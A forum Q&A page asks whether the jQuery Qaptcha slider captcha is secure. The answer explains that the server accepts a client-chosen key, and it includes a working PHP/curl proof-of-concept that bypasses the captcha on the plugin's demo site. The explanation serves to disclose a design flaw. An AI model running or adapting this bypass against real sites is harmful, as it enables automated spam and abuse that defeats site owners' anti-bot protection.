Logo Questions Linux Laravel Mysql Ubuntu Git Menu
 

Qaptcha - is it effective?

See the demo of JQuery Qaptcha here - http://www.myjqueryplugins.com/QapTcha/demo

It requires you to slide the slider to unlock and prove you're human. I've read all about how it's setting random field values and erasing them, but isn't all that done via a javascript call? And if so then wouldn't a bot just need to run the javascript method and then the qaptcha is broken?

Help me understand how this is secure...

like image 921
Shane N Avatar asked May 15 '12 21:05

Shane N


1 Answers

Unfortunately, this does not appear to be a secure captcha.

At the end of this post is some sample code that can bypass it. I wrote this script without looking at any of their source code (php or javascript). I just sniffed a few HTTP requests, saw what it was doing and attempted to emulate it. I have now looked at their JS code but still not the PHP, so even without seeing any source code this could be bypassed.

My quick guess at how it is working based on successes and failures:

  • You load the form on their page, a PHP session is created with presumably no data.
  • A JS script is loaded that generates a qaptcha_key and appends it to the form.
  • This key is created by JavaScript and is not stored on the server (yet).
  • You move the slider to the right, jQuery posts the "qaptcha_key" to PHP via Ajax and the key is then stored in the session (key is not secret).
  • You submit the form which includes the qaptcha_key that would have previously been sent via Ajax if you moved the slider.
  • If a matching qaptcha_key is present in the session (from moving the slider), the form is considered valid. If no such key is present, they assume you didn't move the slider (or had JS disabled), and since the session contains no qaptcha_key, the form is invalid.

Can it be made more secure? Not easily in my opinion. In order to be secure, the secret has to be stored on the server, and it cannot be obtained easily through any scripting or HTTP requests to the server. That is, making an Ajax request based on some public value to authenticate oneself can still be spoofed using Ajax or HTTP requests like my example below. Basically, the captcha solution has to be stored on the server, and interpreted by a human (hopefully not a computer) and sent back to the server.

Here is the code you can run to bypass it. Basically, if you run this, you will see:

Form can be submited
First Name : A Test
Last Name : Of Qaptcha

in the resulting output. As you can see in the code, I am simply using the same key over and over. It doesn't matter what the key is because the client informs the server of the key, and when you submit the form, Qaptcha just checks to see if the value submitted along with the form matches what is stored in the PHP session. Therefore the value of the key is irrelevant, you just have to tell the server what it is before submitting the form.

I suspect its only a matter of time before spammers implement a widely used bypass for Qaptcha forms and integrate it into their spiders.

The Proof Of Concept:

<?php

$COOKIE_FILE = '/tmp/cookies.txt';  // The cookie file to use for storing the PHP session ID cookie
$FIRST_NAME  = 'A Test';            // first name to send
$LAST_NAME   = 'Of Qaptcha';        // last name to send

if (file_exists($COOKIE_FILE)) unlink($COOKIE_FILE); // clear cookies on start - just prevents re-using the same PHPSESSID over and over

$fake_qaptcha_key = 'thisIsAFakeKey12345';  // arbitrary qaptcha_key - normally generated by client JavaScript

// fetch the form - this creates a PHP session and gives us a cookie (yum)
$first = fetch_url('http://demos.myjqueryplugins.com/qaptcha/');

// This step is important - this stores a "qaptcha_key" in the PHP session that matches our session cookie
// We can make the key up in this step, it doesn't matter what it is or where it came from
$params = array('action' => 'qaptcha', 'qaptcha_key' => $fake_qaptcha_key);
$second = fetch_url('http://demos.myjqueryplugins.com/qaptcha/php/Qaptcha.jquery.php', 'POST', $params);

// Now submit the form along with the same qaptcha_key we told the server about in the last step
// As long as a form field is submitted that has the same name as the qaptcha_key we just told the server about, the captcha is bypassed
$params = array('firstname' => $FIRST_NAME, 'lastname' => $LAST_NAME, $fake_qaptcha_key => '', 'submit' => 'Submit Form');
$third  = fetch_url('http://demos.myjqueryplugins.com/qaptcha/', 'POST', $params);

// echo the contents so you can see it said form was accepted.
echo $third;


// basic function that uses curl to fetch a URL with get/post
function fetch_url($url, $method = 'GET', $params = array())
{
    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_COOKIEJAR, $GLOBALS['COOKIE_FILE']);
    curl_setopt($ch, CURLOPT_COOKIEFILE, $GLOBALS['COOKIE_FILE']);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

    if ($method == 'POST') {
        curl_setopt($ch, CURLOPT_POST, 1);
        curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($params));
    }

    $return = curl_exec($ch);

    return $return;
}

I hope that answered the question clearly for you.

like image 121
drew010 Avatar answered Sep 23 '22 21:09

drew010